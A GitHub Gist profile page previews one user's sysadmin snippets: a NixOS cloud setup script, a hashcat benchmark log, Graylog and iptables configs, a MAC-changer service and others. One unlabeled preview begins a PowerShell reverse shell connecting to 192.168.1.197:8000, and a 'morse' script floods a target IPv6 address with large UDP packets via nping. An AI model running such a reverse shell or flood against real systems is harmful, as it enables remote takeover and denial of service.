Skip to content

Instantly share code, notes, and snippets.

View fadenb's full-sized avatar

Tristan Helmich fadenb

View GitHub Profile
@fadenb
fadenb / gc-nixos-infect-via-startup_script.sh
Created March 21, 2021 09:48
Spin up a Genesis Cloud CPU instance and transform it with nixos-infect into a NixOS system. (example for nixos.wiki)
#!/usr/bin/env nix-shell
#! nix-shell -p jq -p bash -i bash
# Notes:
# Replace <MY TOKEN> with your API token
# Replace <NICKNAME> with the nickname of your instance
# Replace <HOSTNAME> with the hostname of your instance
# `vcpu-8_memory-16g_disk-80g` indicates the instance type; See https://developers.genesiscloud.com/instances#instance-types for details
# `6d5c3613-f6cb-48e1-8711-14f084060209` is the ID for the current default Ubuntu 16.04 image. Image IDs can be queried via the API: https://developers.genesiscloud.com/images#list-images
# `2b7ab082-e9f2-40f0-a410-a6337b6a6d42` is the ID for my previosly configured SSH pubkey. Key IDs can be queried via the API: https://developers.genesiscloud.com/ssh-keys#list-ssh-keys
@fadenb
fadenb / hashcat-benchmark.log
Created March 15, 2021 23:00
RTX 3090 OpenCL Hashcat Benchmark
~/hashcat$ sudo ./hashcat -d 9,10,11,12,13,14,15,16 -b
hashcat (v6.1.1-120-g15bf8b730) starting in benchmark mode...
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
* Device #9: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
@fadenb
fadenb / iperf-notes.md
Last active November 25, 2020 14:12
FFMUC Iperf Testing 2020-11-25

Iperf Testing FFMUC 2020-11-25

Setup

  • Hetzner KVM host
  • VM with 6 vCPU
  • Virtio nic (4 queues)
  • FFMUC x86 offloader image

Tests

@fadenb
fadenb / log4j2.xml
Created August 14, 2020 10:03
Modified Graylog log4j2.xml file that (in addition to the default config) sends Graylog logs to itself via GELF UDP (we have a GELF UDP input active on port 10002). 💣 this can lead to nasty loops breaking your Graylog setup.
<?xml version="1.0" encoding="UTF-8"?>
<Configuration packages="org.graylog2.log4j" shutdownHook="disable">
<Appenders>
<RollingFile name="rolling-file" fileName="/var/log/graylog-server/server.log" filePattern="/var/log/graylog-server/server.log.%i.gz">
<PatternLayout pattern="%d{yyyy-MM-dd'T'HH:mm:ss.SSSXXX} %-5p [%c{1}] %m%n"/>
<Policies>
<SizeBasedTriggeringPolicy size="50MB"/>
</Policies>
<DefaultRolloverStrategy max="10" fileIndex="min"/>
</RollingFile>
$socket = new-object System.Net.Sockets.TcpClient('192.168.1.197', 8000);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@fadenb
fadenb / iptables.grok
Created March 3, 2019 00:38 — forked from Caligatio/iptables.grok
iptables Grok Pattern
# GROK Custom Patterns (add to patterns directory and reference in GROK filter for iptables events):
# GROK Patterns for iptables Logging Format
#
# Created 6 Aug 2016 by Brian Turek <brian.turek@gmail.com>
# Most of this was taken from another source but now I cannot find it for credit
#
# Usage: Use the IPTABLES pattern
NETFILTERMAC %{MAC:dest_mac}:%{MAC:src_mac}:%{ETHTYPE:ethtype}
ETHTYPE (?:(?:[A-Fa-f0-9]{2}):(?:[A-Fa-f0-9]{2}))
@fadenb
fadenb / hacky-morse.sh
Created January 1, 2018 13:33
Hacky script used to morse "34c3" on the 34C3 Grafana network traffic dashboard
#!/usr/bin/env bash
#...-- ....- -.-. ...--
FLOODCMD="timeout 30 nping --udp --data-length=65300 -N --delay 0 -c 1000000 -H --quiet -6 <YOUR TARGET IP6>"
#### 3
INITIALDATE=`date +%s`
STOPDATE1=$(($INITIALDATE + 300))
STOPDATE2=$(($INITIALDATE + 720))
STOPDATE3=$(($INITIALDATE + 1140))
@fadenb
fadenb / soup.io.sh
Last active July 10, 2020 22:26
Script for downloading all images posted on a soup (soup.io)
#!/usr/bin/env bash
# Author: Mike Herwig
# Description: Script for downloading all images posted on a soup (soup.io)
#where to download from
HOST="fadenb.soup.io"
#this is the regex for matching the images, you might want to update it when soup.io changes their urls
# 2017-02-14: Updated regex to catch new and old URLs
@fadenb
fadenb / configuration-snippet.nix
Created December 15, 2016 10:34
Change wireless network interface MAC at boot using macchanger on NixOS
systemd = {
services = {
"macchanger-wireless" = {
description = "Changes MAC of my wireless interface for privacy reasons";
wants = [ "network-pre.target" ];
wantedBy = [ "multi-user.target" ];
before = [ "network-pre.target" ];
bindsTo = [ "sys-subsystem-net-devices-wlp3s0.device" ];
after = [ "sys-subsystem-net-devices-wlp3s0.device" ];
script = ''
@fadenb
fadenb / fnord.md
Last active August 29, 2015 14:02
Puppet future parser behavior change

Puppet 3.3.1

normal parser

root@precise64:~# puppet apply -e '$case = $::osfamily ? { somethingelse => "FNORD", Debian  => "upper case", debian => "lower case",} notify{"Result: ${case}":}'
Notice: Compiled catalog for precise64.muc.mayflower.de in environment production in 0.07 seconds
Notice: Result: upper case
Notice: /Stage[main]//Notify[Result: upper case]/message: defined 'message' as 'Result: upper case'
Notice: Finished catalog run in 0.05 seconds
root@precise64:~# puppet apply -e '$case = $::osfamily ? { somethingelse => "FNORD", debian  => "L case", Debian => "U case",} notify{"Result: ${case}":}'